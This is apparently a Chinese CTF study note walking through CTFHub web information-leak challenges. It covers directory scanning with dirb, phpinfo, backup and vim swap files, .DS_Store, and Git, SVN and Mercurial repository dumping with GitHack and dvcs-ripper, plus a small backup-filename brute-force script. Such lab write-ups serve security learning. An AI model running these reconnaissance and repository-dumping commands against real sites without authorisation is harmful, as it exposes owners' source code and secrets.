OIer 的 CTF Web 信息泄露学习笔记

搜集信息是 CTFer 的基本技能。网站的站长可能在部署等操作中忘记删除备份及重要的文件。我们可以通过这些文件找到 flag。

本文一切例题均可在 CTFHub 找到。

目录遍历

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> 目录遍历

本题挨着挨着点目录就可以了。当然还有其他的方法。

dirb 介绍

dirb 是一个 Web 目录扫描工具,且 Kali Linux 自带。用法很简单,只需在终端输入 dirb <URL> 即可。

如下列是一种扫描结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(xenonwzh㉿XenonWZH-Surface)-[~]
└─$ dirb http://challenge-XXX.sandbox.ctfhub.com:XXXXX/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Feb 9 19:30:19 2023
URL_BASE: http://challenge-XXX.sandbox.ctfhub.com:XXXXX/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://challenge-XXX.sandbox.ctfhub.com:XXXXX/ ----
+ http://challenge-XXX.sandbox.ctfhub.com:XXXXX/index.php (CODE:200|SIZE:581)
+ http://challenge-XXX.sandbox.ctfhub.com:XXXXX/server-status (CODE:403|SIZE:313)
==> DIRECTORY: http://challenge-XXX.sandbox.ctfhub.com:XXXXX/static/

---- Entering directory: http://challenge-XXX.sandbox.ctfhub.com:XXXXX/static/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Thu Feb 9 19:34:01 2023
DOWNLOADED: 4612 - FOUND: 2

PHPINFO

PHPINFO 是 PHP 生成配置信息的页面。我们可以在 PHPINFO 中看到可能有用的信息。

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> PHPINFO

我们可以直接打开 phpinfo.php 页面,全局搜索 ctfhub{ 即可获得 flag。

备份文件

网站上可能有未删除的备份文件,我们可以利用这些文件。

网页源码

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> 备份文件下载

我们可以使用 Python 写个脚本来获得可能的网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = 'http://challenge-XXX.sandbox.ctfhub.com:XXXXX/'
name = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
suffix = ['tar', 'tar.gz', 'zip', 'rar']

for i in name:
for j in suffix:
rUrl = url + i + '.' + j
req = requests.get(rUrl)
if(req.status_code == 200):
print(rUrl)

然后在 Kali Linux 下运行即可得到网页源码的地址:

1
2
3
┌──(xenonwzh㉿XenonWZH-Surface)-[~]
└─$ python test.py
http://challenge-XXX.sandbox.ctfhub.com:XXXXX/www.zip

解压该文件,可发现 flag_XXXXXX.txt 文件。我们直接打开这个文件,发现 flag 不在里面。于是我们访问 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/flag_XXXXXX.txt,找到 flag。

bak 文件

bak 文件是备份文件。站长可能会在部署时忘记删除 bak 文件。

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> bak 文件

题目主页为 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/index.php,于是我们可以访问 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/index.php.bak 下载备份文件。

用记事本打开即可看到 flag。

vim 缓存

vim 是一个知名的编辑器。但使用 vim 可能会留下未删除的缓存文件。一般为 .<filename>.swp.<filename>.swo.<filename>.swn<filename>~.<filename>.un.~ 等。

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> vim 缓存

题目主页为 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/index.php,于是我们可以访问 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/.index.php.swp 下载 vim 缓存文件。

然后执行命令 vim -r index.php.swp 修复文件即可看到 flag。

.DS_Store

.DS_Store 是 macOS 保存文件夹属性的隐藏文件。我们可以从该文件进行突破。

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> .DS_Store

题目主页为 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/,于是我们可以访问 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/.DS_Store 下载 .DS_Store 文件。

由于 macOS 为类 UNIX 系统,我们需要将其放在 Linux 中读写。以下为在 Kali Linux 下读取的结果(不可见字符已用 ? 代替):

1
2
3
4
5
6
7
┌──(xenonwzh㉿XenonWZH-Surface)-[~]
└─$ cat DS_Store
?B?d1

?????
??DSDB??@?�?????????@?�????????? ?@?�????????? ?@?$XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.txtnoteustr
flag here!

我们注意到 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.txt 文件,于是我们访问网址 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.txt 即可得到 flag。

Git 泄露

Git 是一个著名的版本控制工具。通过 Git 我们可以还原历史记录。

我们可以使用 GitHack 工具下载 .git 目录进行操作。直接在终端输入 python2 GitHack.py <URL>/.git 即可。

Log

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> Git 泄露 -> Log

我们可以使用 GitHack 下载 .git 目录(部分信息已用省略号代替):

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(xenonwzh㉿XenonWZH-Surface)-[~/tools/GitHack]
└─$ python2 GitHack.py http://challenge-XXX.sandbox.ctfhub.com:XXXXX/.git

____ _ _ _ _ _
/ ___(_) |_| | | | __ _ ___| | __
| | _| | __| |_| |/ _` |/ __| |/ /
| |_| | | |_| _ | (_| | (__| <
\____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
A '.git' folder disclosure exploit.

......

[+] Clone Success. Dist File : /home/xenonwzh/tools/GitHack/dist/challenge-XXX.sandbox.ctfhub.com_XXXXX

进入目录,使用 git log 查看历史记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(xenonwzh㉿XenonWZH-Surface)-[~/tools/GitHack/dist/challenge-XXX.sandbox.ctfhub.com_XXXXX]
└─$ git log
commit 6a33734b8bd143ae206f09038228b5710eb977ff (HEAD -> master)
Author: CTFHub <sandbox@ctfhub.com>
Date: Thu Feb 9 12:50:02 2023 +0000

remove flag

commit 456770445cf233de909d4c743c7cf91920a10dcd
Author: CTFHub <sandbox@ctfhub.com>
Date: Thu Feb 9 12:50:02 2023 +0000

add flag

commit b3b431f8245eb637be4efe11a8f507802b55f76e
Author: CTFHub <sandbox@ctfhub.com>
Date: Thu Feb 9 12:50:02 2023 +0000

init

于是我们可以使用 git diff 对比 add flag 的版本,获得 flag:

1
2
3
4
5
6
7
8
9
┌──(xenonwzh㉿XenonWZH-Surface)-[~/tools/GitHack/dist/challenge-XXX.sandbox.ctfhub.com_XXXXX]
└─$ git diff 456770445cf233de909d4c743c7cf91920a10dcd
diff --git a/18640211316292.txt b/18640211316292.txt
deleted file mode 100644
index ce5a593..0000000
--- a/18640211316292.txt
+++ /dev/null
@@ -1 +0,0 @@
-ctfhub{XXXXXX}

Stash

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> Git 泄露 -> Stash

使用 GitHack 获得 .git 文件夹之后我们可以执行 git stash lish 检查有没有 stash:

1
2
3
┌──(xenonwzh㉿XenonWZH-Surface)-[~/tools/GitHack/dist/challenge-XXX.sandbox.ctfhub.com_XXXXX]
└─$ git stash list
stash@{0}: WIP on master: c436a51 add flag

于是我们可以使用 git stash pop 指令弹出这个 stash:

1
2
3
4
5
6
7
8
9
10
11
┌──(xenonwzh㉿XenonWZH-Surface)-[~/tools/GitHack/dist/challenge-5fca1df134e70746.sandbox.ctfhub.com_10800]
└─$ git stash pop
CONFLICT (modify/delete): 7219814831983.txt deleted in Updated upstream and modified in Stashed changes. Version Stashed changes of 7219814831983.txt left in tree.
On branch master
Unmerged paths:
(use "git restore --staged <file>..." to unstage)
(use "git add/rm <file>..." as appropriate to mark resolution)
deleted by us: 7219814831983.txt

no changes added to commit (use "git add" and/or "git commit -a")
The stash entry is kept in case you need it again.

我们可以发现多出了 7219814831983.txt 文件,打开即可发现 flag。

Index

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> Git 泄露 -> Index

我们使用同样的方法通过 GitHack 下载 .git 目录。

这次我们直接查看目录,可发现 653494924880.txt 文件,打开即可发现 flag。

1
2
3
4
5
6
7
┌──(xenonwzh㉿XenonWZH-Surface)-[~/tools/GitHack/dist/challenge-XXX.sandbox.ctfhub.com_XXXXX]
└─$ ls
50x.html 653494924880.txt index.html

┌──(xenonwzh㉿XenonWZH-Surface)-[~/tools/GitHack/dist/challenge-XXX.sandbox.ctfhub.com_XXXXX]
└─$ cat 653494924880.txt
ctfhub{XXXXXX}

SVN 泄露

和 Git 类似,SVN 也是一个版本控制工具。

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> SVN 泄露

在这我们可以使用 dvcs-ripper 工具下载 .svn 文件夹,在终端输入 ./rip-svn.pl -u <URL>/.svn/ 即可。结果如下:

1
2
3
4
5
6
┌──(xenonwzh㉿XenonWZH-Surface)-[~/tools/dvcs-ripper]
└─$ ./rip-svn.pl -u http://challenge-2ac8d70e059113a4.sandbox.ctfhub.com:10800/.svn/
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
Reverted 'index.html'

在这我们使用 VSCode 打开隐藏目录 .svn,进行全局搜索即可获得 flag。

HG 泄露

和 Git 类似,Mercurial 也是一个版本控制工具,且会留下 .hg 目录。

题目地址:CTFHub -> 技能树 -> Web -> 信息泄露 -> HG 泄露

我们可以同样使用 dvcs-ripper 工具下载 .hg 文件夹,在终端输入 ./rip-hg.pl -u <URL>/.hg/ 即可。结果如下:

1
2
3
4
5
6
┌──(xenonwzh㉿XenonWZH-Surface)-[~/tools/dvcs-ripperer]
└─$ ./rip-hg.pl -u http://challenge-bc2c4b241118a1ca.sandbox.ctfhub.com:10800/.hg/
[i] Getting correct 404 responses
no changes needed to 50x.html
no changes needed to index.html
[i] Finished (2 of 38)

我们可以使用同样的方法通过 VSCode 在 .hg 目录中全局搜索 flag,于是我们可以发现 flag_129453157.txt 文件。题目主页为 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/,于是我们访问 http://challenge-XXX.sandbox.ctfhub.com:XXXXX/flag_129453157.txt 即可获得 flag。